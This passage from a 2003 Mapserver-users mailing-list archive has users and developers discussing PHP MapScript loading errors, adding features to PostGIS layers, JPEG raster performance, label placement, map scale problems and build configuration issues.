mapserver 3.5. PHP4 by itself works fine. I moved > >php_mapscript.dll to the php4 extensions directory and set extension_dir > >in php.ini to that directory. Then I used phpinfo_mapscript.php to test > >it. The output I get in my browser is: > > > >Warning: dl() [function.dl]: Unable to load dynamic library > >'d:\php\php-4.3.0-Win32\extensions\php_mapscript.dll' - The specified > >procedure could not be found. in d:\program files\apache > >group\apache2\htdocs\phpinfo_mapscript.php on line 17 > > > >followed by the results from phpinfo(). > > > > > >When I first start my browser and try to run phpinfo_mapscript.php, I > >get this error: > > > >The procedure entry point zend_list_addref could not be located in the > >dynamic link library php4ts.dll. > > > >I can click on OK and then I see the results described above. I would > >appreciate any help. > > > >Thanks, > >Beth > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From bwragg at tpg.com.au Wed Jan 15 12:43:37 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Thu, 16 Jan 2003 07:13:37 +1030 Subject: [Mapserver-users] Adding php_mapscript In-Reply-To: <3E25BFF6.772636B5@dmsolutions.ca> Message-ID: <001601c2bcd6$c80f8a00$0100a8c0@mapping12> Is there any possibility that they have PostGIS support included??? Thanks, Benjamin Wragg -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Yewondwossen Assefa Sent: Thursday, 16 January 2003 6:39 AM To: krung at cad.go.th Cc: mapserver-users at lists.gis.umn.edu; Beth Baily Subject: Re: [Mapserver-users] Adding php_mapscript Windows binaries for the latest release of mapsevrer 3.6.4 are available on the download site for php4.2.3 and php4.3.0 : http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.6.4-win32-php4.2.3-l ibwww.zip http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.6.4-win32-php4.3.0-l ibwww.zip Later, krung wrote: > Hi Beth > > Did you use php_mapscript.dll the same version as your PHP? I went to dmsolution a few days ago, I couldn't find php_mapscript.dll with PHP 4.3.0 support. > > Krung. > > ---------- Original Message ---------------------------------- > From: Beth Baily > Date: Wed, 15 Jan 2003 10:37:25 -0700 > > >Listers, > > > >I have installed and tested PHP4 on my Win2000 workstation with Apache > >and cgi mapserver 3.5. PHP4 by itself works fine. I moved > >php_mapscript.dll to the php4 extensions directory and set extension_dir > >in php.ini to that directory. Then I used phpinfo_mapscript.php to test > >it. The output I get in my browser is: > > > >Warning: dl() [function.dl]: Unable to load dynamic library > >'d:\php\php-4.3.0-Win32\extensions\php_mapscript.dll' - The specified > >procedure could not be found. in d:\program files\apache > >group\apache2\htdocs\phpinfo_mapscript.php on line 17 > > > >followed by the results from phpinfo(). > > > > > >When I first start my browser and try to run phpinfo_mapscript.php, I > >get this error: > > > >The procedure entry point zend_list_addref could not be located in the > >dynamic link library php4ts.dll. > > > >I can click on OK and then I see the results described above. I would > >appreciate any help. > > > >Thanks, > >Beth > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From lfilak at medinaco.org Wed Jan 15 13:35:20 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 15 Jan 2003 16:35:20 -0500 Subject: [Mapserver-users] Fwd: html variables from map file Message-ID: <200301152132.h0FLW4R31161@yogi.medinaco.net> The following message was sent by Alexander Shostko on Wed, 15 Jan 2003 15:19:39 -0500. > Thanks for your advice in advance. > > Is there a way to address variable defined in html file > from the map file in Expression statement: > > for example > > if I want to choose which attribute in .dbf file should be > chosen based on the value of select construct in html file > > EXPRESSION( $interval eq 1 ) > EXPRESSION ([LEVEL] gt 1.0 ) ... > > EXPRESSION( $interval eq 3 ) > EXPRESSION (LEVEL3] gt 1.0 ) ... > > end > .. > > ... > > > > > .... > > the interval comes from html file. > > I am afraid that mapscript is the answer for this issue > > Thank you very much again > Alexander Shostko > Simulation Technologies Co. > Vienna, VA > > From lfilak at medinaco.org Wed Jan 15 13:57:11 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 15 Jan 2003 16:57:11 -0500 Subject: [Mapserver-users] Raster support - JPG problem Message-ID: <200301152153.h0FLrtR31388@yogi.medinaco.net> I would have to agree with Chip's performance findings. We originally received all our orthophotography in TIFF format and planned on converting the images to JPEG to enable us to load the dataset on smaller machines. However the performance hit was major in every application (Mapserver, Arc/INFO, & Arcview) because the entire JPEG tile had to be decompressed before the software could determine which pixels of the image needed rendered. You can save space by flattening the source images to 8-bit WITH space reserved for 256 colors (some applications flatten to 8-bit but reserve space for 1000+ colors and that doesn't save any space). If truly needed you can always save space by resampling the data to a larger pixel size, ie. 1' -> 2'. Lowell F. The following message was sent by "Hankley, Chip" on Wed, 15 Jan 2003 12:46:00 -0600. > Michael, > > As Norman and Daniel pointed out, there are known issues with JPEG and > MapServer. > > That said, I had a similar problem some months back trying to serve up JPEG > images to MapServer. I did some experimenting and was finally able to get a > JPEG image to come up in MS (sorry, I can't remember exactly what I did), > but the performance was terrible. > > My assumption is that MapServer has to somehow uncompress the JPEG images > before rendering them as part of the final image, and that this was the > cause of the performance hit (if I simply swapped the data source to a TIF, > there was no performance problem). I have no idea if my assessment of how > the mechanics of JPEG rendering is correct... but in the end, I concluded > that the trade-off for space savings with JPEG didn't make up for the > performance hit I was taking. > > ...just my experience. > > Chip > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bwragg at tpg.com.au Wed Jan 15 14:00:13 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Thu, 16 Jan 2003 08:30:13 +1030 Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused In-Reply-To: <3E24EC3D.9A831C78@dmsolutions.ca> Message-ID: <000a01c2bce1$7bccad70$0100a8c0@mapping12> Thanks for your comments Daniel. I just have a few more questions from what you wrote. >>Unless I'm mistaken, the $layer->addFeature() method doesn't even apply >>to shapefiles. It is only there to create inline features in a layer >>(in memory). So when a feature is added this way, can it be labeled as well as used to select features in another layer (PostGIS layer)? >>And once again, for databases like PostGIS I think doing direct SQL >>calls to add or update feature should be the preferred approach. What else do you recommend? As has been pointed out, the editing functions of MapServer don't support PostGIS layers, but are there any other methods that don't support PostGIS layers. ie Any of the queryByxxxxxx functions? Thanks, Benjamin Wragg -----Original Message----- From: Daniel Morissette [mailto:morissette at dmsolutions.ca] Sent: Wednesday, 15 January 2003 3:36 PM To: Paul Ramsey Cc: bwragg at tpg.com.au; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Adding Features to PostGIS Layer - Confused Paul Ramsey wrote: > > Yes, quite a ways off track... the writable aspects of > Mapserver/Mapscript layers all adhere to Shape file data sources only. > This is a legacy issue from back when that was the only data source, and > therefor the only one worthy of enhancement :) > Unless I'm mistaken, the $layer->addFeature() method doesn't even apply to shapefiles. It is only there to create inline features in a layer (in memory). To write to a shapefile you have to use the shapefileObj class. > HOWEVER: you can add features to a PostGIS data source via the back > door. Use a direct pgsql connection within PHP to connect to the PostGIS > database, and run a SQL 'insert' command on the table to add your new > feature. > I think this should remain the preferred way to add features to a RDBMS layer anyway. Doing it via MapServer is just going to add overhead and restrict your ability to take full advantage of the features of the layer format (PostGIS in this case). > DEVELOPERS: should the layer concepts be extended to allow all layer > types to be read/writable via the same scripting mechanisms? > As mentioned above the layerObj are read-only and making them support write access may not be the best thing to do. Instead we could consider creating a clone of the shapefileObj that would use OGR at the lower level (or extending shapefileObj to support OGR formats). Since OGR already supports most formats that MapServer does (including PostGIS), that would keep things much simpler: only one interface to maintain instead of having to extend all format drivers in MapServer and making them more complicated than they need to be. And once again, for databases like PostGIS I think doing direct SQL calls to add or update feature should be the preferred approach. (Note that this is just my opinion. Other developers may have a different opinion.) Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From steve.lime at dnr.state.mn.us Wed Jan 15 13:58:33 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 15 Jan 2003 15:58:33 -0600 Subject: [Mapserver-users] label prooblem Message-ID: What does the mapfile def for this layer look like? >>> "Aaron D. Hunt" 01/15/03 11:39AM >>> I am making a map of a farm with field boundaries. Can any one tell me why mapserver is not labeling all the polygons (see attached). I have force label to true. Aaron D. Hunt From steve.lime at dnr.state.mn.us Wed Jan 15 14:02:25 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 15 Jan 2003 16:02:25 -0600 Subject: [Mapserver-users] label prooblem Message-ID: That's not the case with mapserver though. Label points are always guaranteed to be within the polygon even if they are concave. >>> "Juanse" 01/15/03 01:41PM >>> Aaron I am not sure but it seem that the polygons not label because of their concave/convex shape have their center outside the polygon, and therefore mapsever must privilege the neighbouring polygons' label (at least this will be the case in mapinfo) Juanse Temuko-Chile ----- Original Message ----- From: Aaron D. Hunt To: mapserver-users at lists.gis.umn.edu Sent: Wednesday, January 15, 2003 2:39 PM Subject: [Mapserver-users] label prooblem I am making a map of a farm with field boundaries. Can any one tell me why mapserver is not labeling all the polygons (see attached). I have force label to true. Aaron D. Hunt --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.441 / Virus Database: 247 - Release Date: 09/01/03 From steve.lime at dnr.state.mn.us Wed Jan 15 14:04:05 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 15 Jan 2003 16:04:05 -0600 Subject: [Mapserver-users] Label Prefix in Mapfile Message-ID: Yes, use the TEXT option for classes. That allows you to set the text for a given class to a constant value OR to a value made up from various attributes. Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "Hankley, Chip" 01/15/03 01:53PM >>> Is it possible to add CLASS specific prefixes to labels via the mapfile? For instance, I have a layer showing municipal boundaries; this layer is broken out into several classes, one for City, Town, and Village. For my CITY class, I would like my labels to be rendered as 'City of ' + [MCD_NAME], villages as 'Village of ' + [MCD_NAME] etc. Chip Hankley _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From morissette at dmsolutions.ca Wed Jan 15 14:40:12 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 15 Jan 2003 17:40:12 -0500 Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused References: <000a01c2bce1$7bccad70$0100a8c0@mapping12> Message-ID: <3E25E34C.C6B61228@dmsolutions.ca> Benjamin Wragg wrote: > > >>Unless I'm mistaken, the $layer->addFeature() method doesn't even > apply > >>to shapefiles. It is only there to create inline features in a layer > >>(in memory). > > So when a feature is added this way, can it be labeled as well as used > to select features in another layer (PostGIS layer)? > I believe the answer is yes to both questions, but I haven't done this myself so I could be wrong. > >>And once again, for databases like PostGIS I think doing direct SQL > >>calls to add or update feature should be the preferred approach. > > What else do you recommend? > > As has been pointed out, the editing functions of MapServer don't > support PostGIS layers, but are there any other methods that don't > support PostGIS layers. ie Any of the queryByxxxxxx functions? > The queryByXxxx() functions do work with PostGIS layers and all other data sources AFAIK. And actually most of what you find in the layerObj (if not everything) works for all data sources. Editing shapefiles is done via a completely independent class, the shapefileObj. This class bypasses MapServer layerObj methods and works directly with the low-level shapelib functions. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dana at nextbus.com Wed Jan 15 17:48:54 2003 From: dana at nextbus.com (Dana Quinn) Date: Wed, 15 Jan 2003 17:48:54 -0800 Subject: [Mapserver-users] mapfile mapscale strangeness Message-ID: <3E260F86.3010006@nextbus.com> I'm seeing a strange problem with application of the MINSCALE and MAXSCALE parameters. I'm using 3.6.3, redhat linux 8, and perl mapscript. I'm am working on getting an existing application that works under an old version of the mapserver working on this new version, on a new machine. So this is my new problem - I have layers that are only supposed to turn on at a 'larger scale' - more zoomed in - things like street names and secondary streets and stuff like that, that were turning on when my scale was much smaller. I'd have something like MAXSCALE 40000 in the layer, but when I'd create a map that is zoomed out far enough that I could see complete states, I would still have the MAXSCALE 40000 layers displayed. So after some testing and lots of debug print statements, I found that mapscript, as I compiled it, thinks the SCALE is usually somewhere between 1 and 5. I adjusted some of my MAXSCALE lines to these sorts of values, and things work the way I expect them to. So to summarize - I would expect the scale of the maps I create to be in ranges like 10000-25000, 250000 and so on, but they seem to be smaller numbers like 0.5, 3, so on. Has anyone else seen something like this? Did I blow some configuration option? dana -- Dana Quinn, dana at nextbus.com NextBus Information Systems (510) 420-3117 From brclark at usgs.gov Wed Jan 15 18:17:58 2003 From: brclark at usgs.gov (Brian Clark) Date: Wed, 15 Jan 2003 20:17:58 -0600 Subject: [Mapserver-users] wms client Message-ID: <3E261656.4070203@usgs.gov> Hey Mapservers, We've built and installed libwww 5.4.0. However, configure returns: "libwww version 5.3.2 or more recent is required" Tried it with: --with-wmsclient=/usr/local/lib, and no errors on configure or make, but also no wmsclient support. OS is Solaris 2.6. Ideas? AdTHANKSvance -- **************************************************************** Brian R. Clark, Hydrologist Email: brclark at usgs.gov U.S. Geological Survey, WRD Phone: (501)228-3655 Arkansas District Fax: (501)228-3601 401 Hardin Road Little Rock, Arkansas 72211 **************************************************************** From fmaa1 at yahoo.com Thu Jan 16 00:04:56 2003 From: fmaa1 at yahoo.com (Fayyaz Ayoub) Date: Thu, 16 Jan 2003 00:04:56 -0800 (PST) Subject: [Mapserver-users] (no subject) Message-ID: <20030116080456.82264.qmail@web11705.mail.yahoo.com> Hi there, I have been trying to compile Mapserver with sde supprt.Have followed all the right steps on ly that in make it gives me the following error message: gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_SDE -I/usr/local/gd-a/include -I/usr/local/proj4/include -I/usr/local/jpeg6b/include -I/usr/local/sdeexe81/include shp2img.o -L. -lmap -L/usr/local/gd-a/lib -lgd -L/usr/local/jpeg6b/lib -ljpeg -lfreetype -lpng -lz -ltiff -L/usr/local/jpeg6b/lib -ljpeg -lfreetype -lpng -lz -L/usr/local/proj4/lib -lproj -L/usr/local/jpeg6b/lib -ljpeg -L/usr/local/sdeexe81/lib -lsde81 -lpe81 -lsg81 -lpthread -ldl -lm -o shp2img /usr/local/sdeexe81/lib/libsde81.so: the use of `tempnam' is dangerous, better use `mkstemp' ./libmap.a(mapogr.o)(.eh_frame+0x11): undefined reference to `__gxx_personality_v0' collect2: ld returned 1 exit status make: *** [shp2img] Error 1 Can someone please hep me to sort this problem out.The machine is running on Red Hat 8.0 & kernel version is 2.4.20. Thanks Techie. __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From patruno at istat.it Thu Jan 16 02:30:02 2003 From: patruno at istat.it (patruno) Date: Thu, 16 Jan 2003 10:30:02 -0000 Subject: [Mapserver-users] Maplab beginner problem Message-ID: <023e01c2bd4a$3af99560$492d120a@istat.it> Hi anyone! Probably my problem is stupid, but I cannot sleep because of it!! I'm building up a mapfile using Esri shapefiles that normally you can find in the folder "esridata" after you install Arcview. The problem is when I ask for the preview of my mapfile. (I use Maplab) In fact, the map is completely blank (or empty?). I've tried to change the coordinate according to the coordinate of the upper left corner and bottom right corner that I obtain opening my shapefile with Arcexplorer but ... nothing. Any suggestion? Thanks in advance V From mschulz at webgis.de Thu Jan 16 01:56:27 2003 From: mschulz at webgis.de (Michael Schulz) Date: Thu, 16 Jan 2003 10:56:27 +0100 Subject: [Mapserver-users] mapserver form submit problem with gecko? Message-ID: <3E2681CB.B1C18257@webgis.de> Dear list, i know that this may not be the appropriate forum, but the problem is related to mapserver: I have a mapserver html interface with some javascript additions. The main html-form of this interface has an onSubmit handler, that does some stuff prior to submitting the form. This works perfectly for IE and Netsape 4x. But with Netscape 6/7, Mozilla, ie Gecko, when using the image to submit the form the onSubmit handler seems to "forget" to submit the pixel-coordinate values (img.x, img.y) of the clicked map. Has anybody experienced a similar behaviour and found a solution? I've a put two simple html-pages to test the problem on our website, if you have a minute drop by and test it with NS 6/7 or Mozilla and NS 4x or IE: 1) form with onSubmit: http://www.zopecms.de/zopecms/WebGIS/mapserver/test.html 2) form without onSubmit : http://www.zopecms.de/zopecms/WebGIS/mapserver/test_wo.html Thanks, Michael -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH Sautierstr. 38, 79104 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de From philipp.jacob at geosysnet.de Thu Jan 16 03:50:39 2003 From: philipp.jacob at geosysnet.de (Philipp Jacob) Date: Thu, 16 Jan 2003 12:50:39 +0100 Subject: [Mapserver-users] Couldn't find gdal-config References: <200301040923.2789@th00.opsion.fr> Message-ID: <3E269C8F.4050006@geosysnet.de> Hi all, I'm trying to configure mapserver3.6.4 with the '--with-gdal' option. I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/ I tried it with: '--with-gdal' '--with-gdal=/usr/local/bin/gdal-config' '--with-gdal=/usr/local/src/gdal-1.1.7/apps/gdal-config' But always the same problem, the configure script is unable to find gdal-config. Any ideas? Thanks in advance. Philipp From mcilhagga at dmsolutions.ca Thu Jan 16 04:01:28 2003 From: mcilhagga at dmsolutions.ca (Dave McIlhagga) Date: Thu, 16 Jan 2003 07:01:28 -0500 Subject: [Mapserver-users] Maplab beginner problem References: <023e01c2bd4a$3af99560$492d120a@istat.it> Message-ID: <3E269F18.3080507@dmsolutions.ca> Please use the MapLab mailing list for MapLab related questions. I'll forward this message separately. For more information on MapLab and mailing list, please see: http://www.dmsolutions.ca/techserv/maplab.html and http://www2.dmsolutions.ca/webtools/maplab/index.html Thanks, Dave patruno wrote: > Hi anyone! > > Probably my problem is stupid, but I cannot sleep because of it!! > > I'm building up a mapfile using Esri shapefiles that normally you can find in the folder "esridata" after you install > Arcview. > The problem is when I ask for the preview of my mapfile. (I use Maplab) > In fact, the map is completely blank (or empty?). I've tried to change the coordinate according to the coordinate of the upper left corner and > bottom right corner that I obtain opening my shapefile with Arcexplorer but ... nothing. > > Any suggestion? > > Thanks in advance > > V > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Mark.Balman at birdlife.org.uk Thu Jan 16 04:20:21 2003 From: Mark.Balman at birdlife.org.uk (Mark Balman) Date: Thu, 16 Jan 2003 12:20:21 -0000 Subject: [Mapserver-users] Query not working in mapserver3.7 Message-ID: Hi All I have just installed mapserver 3.7 (Win98, Apache, PHP4.2.3) and have a problem running an app that worked ok with mapserver 3.6.2. When I try and run the app (select a value from a drop down list) I get msQueryByAttributes(): Query error. No query expression defined. Has anyone else had this problem? I am mising something new from my .map file? Any assistance would be greatly appreciated! Mark From shpr at libero.it Thu Jan 16 04:31:39 2003 From: shpr at libero.it (Stefano Bonnin) Date: Thu, 16 Jan 2003 13:31:39 +0100 Subject: [Mapserver-users] problem with gdal Message-ID: <002a01c2bd5b$37e7b1c0$0601a8c0@comai.loc> hi, I have compiled mapserver with gdal-1.1.8 and all the "point object" in my point layer are "black"! In the map file I have a layer class like this: CLASS NAME "Ultrasonico" EXPRESSION 'Ultrasonico' SYMBOL "circle" COLOR 0 255 0 ###### This is not black!!!! SIZE 15 TEMPLATE "blank.html" LABEL FONT "arial" TYPE TRUETYPE POSITION lc MINSIZE 10 MAXSIZE 25 COLOR 100 0 45 BACKGROUNDSHADOWCOLOR 128 128 128 ANTIALIAS true END END and all the points are rendered as black point. Mapserver configure options: ./configure --with-proj=../proj-4.4.5/ --with-php=../php-4.2.2/ --with-post gis=/usr/local/pgsql/bin/pg_config --with-freetype=../freetype-2.0.5 --without-tiff --with-gdal=../gdal-1.1.8/apps/gdal-config Why? Any idea? Thanks. Stefano B. --- Outgoing mail is certified Virus Free. (FLASHH!) Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/03 From mccrone at pc.jaring.my Thu Jan 16 06:34:01 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Thu, 16 Jan 2003 22:34:01 +0800 Subject: [Mapserver-users] Testsuite - itemquery with Rosa Message-ID: <037701c2bd6c$50d15950$f79f063d@clickntrac> This is a multi-part message in MIME format. ------=_NextPart_000_0374_01C2BDAF.5DF26B90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have partially solved my itemquery zoom in problem. I added the = following to the=20 main page index.html -=20 =20 It still cannot get two images on my template page. Has anybody implemented this query zoom in fucntion from within the = template page and with rosa applet involved? Thanks, Steve ------=_NextPart_000_0374_01C2BDAF.5DF26B90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have partially solved my itemquery = zoom in=20 problem. I added the following to the
main page index.html -
<input type=3D"hidden" = name=3D"mapext" value=3D"">=20
It still cannot get two images on my = template=20 page.
 
Has anybody implemented this query zoom = in fucntion=20 from within the template page
and with rosa applet = involved?
 
Thanks,
 
Steve
------=_NextPart_000_0374_01C2BDAF.5DF26B90-- From pkishor at geoanalytics.com Thu Jan 16 07:07:47 2003 From: pkishor at geoanalytics.com (pkishor_98 ) Date: Thu, 16 Jan 2003 15:07:47 -0000 Subject: [Mapserver-users] PHP 4.3.0 Message-ID: I am getting a bunch of errors compiling ms3.6.4 (all related to php_mapscript.so), and before I get any further, I would like to find out if the current PHP/Mapscript module work with PHP 4.3.0. Does it? additionally, could it be possible to list the requirements right next to the download link (kinda a like so -- from the downloads page) -- Official Release MapServer 3.6.4 (1/08/03) is the current stable and documented version. The distribution is comprised of a single gzipped tar file that also includes MapScript and PHP/MapScript. (link to mapserver-3.6.4.tar.gz) (link to what's new in this release aka version history) (system requirements -- - gd version - perl version - php version - gcc/cc version, - etc. ) Much gratitude in advance, Puneet. From collao_andres at hotmail.com Thu Jan 16 07:23:35 2003 From: collao_andres at hotmail.com (=?iso-8859-1?B?QW5kculzIENvbGxhbw==?=) Date: Thu, 16 Jan 2003 15:23:35 +0000 Subject: [Mapserver-users] (no subject) Message-ID: I am intentanado to show one of my maps with Mapserver, but this it appears in target, I believe that it is a EXTENT problem. that it makes this instruction? Atte. --------------- Andr?s Collao. --------------- Icq # 36107225 collao_andres at hotmail.com acollao at inf.utfsm.cl "El hombre es un Dios cuando sue?a y un mendigo cuando reflexiona". :-- Il peggior nemico del succeso ? la pauta del fallimiento :-- El peor enemigo del ?xito es el miedo al fracaso _________________________________________________________________ MSN. M?s ?til Cada D?a http://www.msn.es/intmap/ From dlowther at ou.edu Thu Jan 16 07:29:46 2003 From: dlowther at ou.edu (Lowther, David W) Date: Thu, 16 Jan 2003 09:29:46 -0600 Subject: [Mapserver-users] Raster support - JPG problem Message-ID: Have you guys considered ECW instead of JPEG? -----Original Message----- From: Lowell Filak [mailto:lfilak at medinaco.org] Sent: Wednesday, January 15, 2003 3:57 PM To: Hankley, Chip; 'Zatorsky.MichaelP at police.qld.gov.au'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Raster support - JPG problem I would have to agree with Chip's performance findings. We originally received all our orthophotography in TIFF format and planned on converting the images to JPEG to enable us to load the dataset on smaller machines. However the performance hit was major in every application (Mapserver, Arc/INFO, & Arcview) because the entire JPEG tile had to be decompressed before the software could determine which pixels of the image needed rendered. You can save space by flattening the source images to 8-bit WITH space reserved for 256 colors (some applications flatten to 8-bit but reserve space for 1000+ colors and that doesn't save any space). If truly needed you can always save space by resampling the data to a larger pixel size, ie. 1' -> 2'. Lowell F. The following message was sent by "Hankley, Chip" on Wed, 15 Jan 2003 12:46:00 -0600. > Michael, > > As Norman and Daniel pointed out, there are known issues with JPEG and > MapServer. > > That said, I had a similar problem some months back trying to serve up JPEG > images to MapServer. I did some experimenting and was finally able to get a > JPEG image to come up in MS (sorry, I can't remember exactly what I did), > but the performance was terrible. > > My assumption is that MapServer has to somehow uncompress the JPEG images > before rendering them as part of the final image, and that this was the > cause of the performance hit (if I simply swapped the data source to a TIF, > there was no performance problem). I have no idea if my assessment of how > the mechanics of JPEG rendering is correct... but in the end, I concluded > that the trade-off for space savings with JPEG didn't make up for the > performance hit I was taking. > > ...just my experience. > > Chip > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From collao_andres at hotmail.com Thu Jan 16 07:50:26 2003 From: collao_andres at hotmail.com (=?iso-8859-1?B?QW5kculzIENvbGxhbw==?=) Date: Thu, 16 Jan 2003 15:50:26 +0000 Subject: [Mapserver-users] i don't see map Message-ID: I am creating my first map with mapserver, but this it appears in target. I imagine that it must to intrucci?n EXTENT, but do not know that it makes this instruction, somebody can explain it to me? Atte. --------------- Andr?s Collao. --------------- Icq # 36107225 collao_andres at hotmail.com acollao at inf.utfsm.cl "El hombre es un Dios cuando sue?a y un mendigo cuando reflexiona". :-- Il peggior nemico del succeso ? la pauta del fallimiento :-- El peor enemigo del ?xito es el miedo al fracaso >From: mapserver-users-request at lists.gis.umn.edu >Reply-To: mapserver-users at lists.gis.umn.edu >To: mapserver-users at lists.gis.umn.edu >Subject: Mapserver-users digest, Vol 1 #44 - 38 msgs >Date: Wed, 15 Jan 2003 12:00:02 -0600 > >Send Mapserver-users mailing list submissions to > mapserver-users at lists.gis.umn.edu > >To subscribe or unsubscribe via the World Wide Web, visit > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >or, via email, send a message with subject or body 'help' to > mapserver-users-request at lists.gis.umn.edu > >You can reach the person managing the list at > mapserver-users-admin at lists.gis.umn.edu > >When replying, please edit your Subject line so it is more specific >than "Re: Contents of Mapserver-users digest..." > >Today's Topics: > > 1. Re: Mapserver-users digest, Vol 1 #43 - 19 msgs (Auto Reply.) (Dale >Ott) > 2. RE: Can't limit the zoom in/out (YC Nyon) > 3. RE: Projections (John McCue) > 4. Definition Projections, raw proj parameters vs EPSG code >(Jean-Francois.Doyon at CCRS.NRCan.gc.ca) > 5. Adding Features to PostGIS Layer - Confused (Benjamin Wragg) > 6. Re: Adding Features to PostGIS Layer - Confused (Paul Ramsey) > 7. Raster support - JPG problem (Zatorsky.MichaelP at police.qld.gov.au) > 8. Buffering problems (Lyndon Zimmermann) > 9. Re: Raster support - JPG problem (Norman Vine) > 10. Testsuite - itemquery problems (Steve McCrone) > 11. Re: Buffering problems (Daniel Morissette) > 12. Re: Raster support - JPG problem (Daniel Morissette) > 13. Re: Adding Features to PostGIS Layer - Confused (Daniel Morissette) > 14. Re: Definition Projections, raw proj parameters vs > EPSG code (Daniel Morissette) > 15. Re: ogr and MapInfo (Daniel Morissette) > 16. Re: Working with TrueType Fonts (Daniel Morissette) > 17. Re: TrueType Font and Label Angle (Daniel Morissette) > 18. Projection to Albers (Lyndon Zimmermann) > 19. Re: Projection to Albers (Paul Ramsey) > 20. Re: Projection to Albers (Frank Warmerdam) > 21. HTML-Legends ??? (Mike Elstermann) > 22. How to use annotation layer (John Doe) > 23. Re: How to use annotation layer (Prashanth Ram) > 24. Maximum Extent (Stefan Schwarzer) > 25. Mathematical model applied at ANGLE AUTO (Calin D. NITU) > 26. cant c top layer (nida Khan) > 27. (no subject) (=?iso-8859-1?Q?leo.olivieri at libero.it?=) > 28. Re: HTML-Legends ??? (Daniel Morissette) > 29. Re: unable to load dynamic library (frauke.trurnit at gmx.de) > 30. problems with WMS and Cached Query (Pascual Ayats, Victor) > 31. Re: Mathematical model applied at ANGLE > AUTO (Steve Lime) > 32. label prooblem (Aaron D. Hunt) > 33. Adding php_mapscript (Beth Baily) > 34. PostGIS / Shapefile Performance Question (Lowther, David W) > 35. Re: [maplab-users] Restricted number of class per layer ? (Paul >Spencer) > 36. RE: PostGIS / Shapefile Performance Question (John Deck) ><< message5.txt >> ><< message7.txt >> ><< message9.txt >> ><< message11.txt >> ><< message13.txt >> ><< message15.txt >> ><< message18.txt >> ><< message20.txt >> ><< message22.txt >> ><< message24.txt >> ><< message26.txt >> ><< message29.txt >> ><< message32.txt >> ><< message35.txt >> ><< message38.txt >> ><< message41.txt >> ><< message44.txt >> ><< message47.txt >> ><< message49.txt >> ><< message52.txt >> ><< message55.txt >> ><< message59.txt >> ><< message61.txt >> ><< message63.txt >> ><< message67.txt >> ><< message74.txt >> ><< message78.txt >> ><< message80.txt >> ><< message83.txt >> ><< message87.txt >> ><< message89.txt >> ><< message91.txt >> ><< message97.txt >> 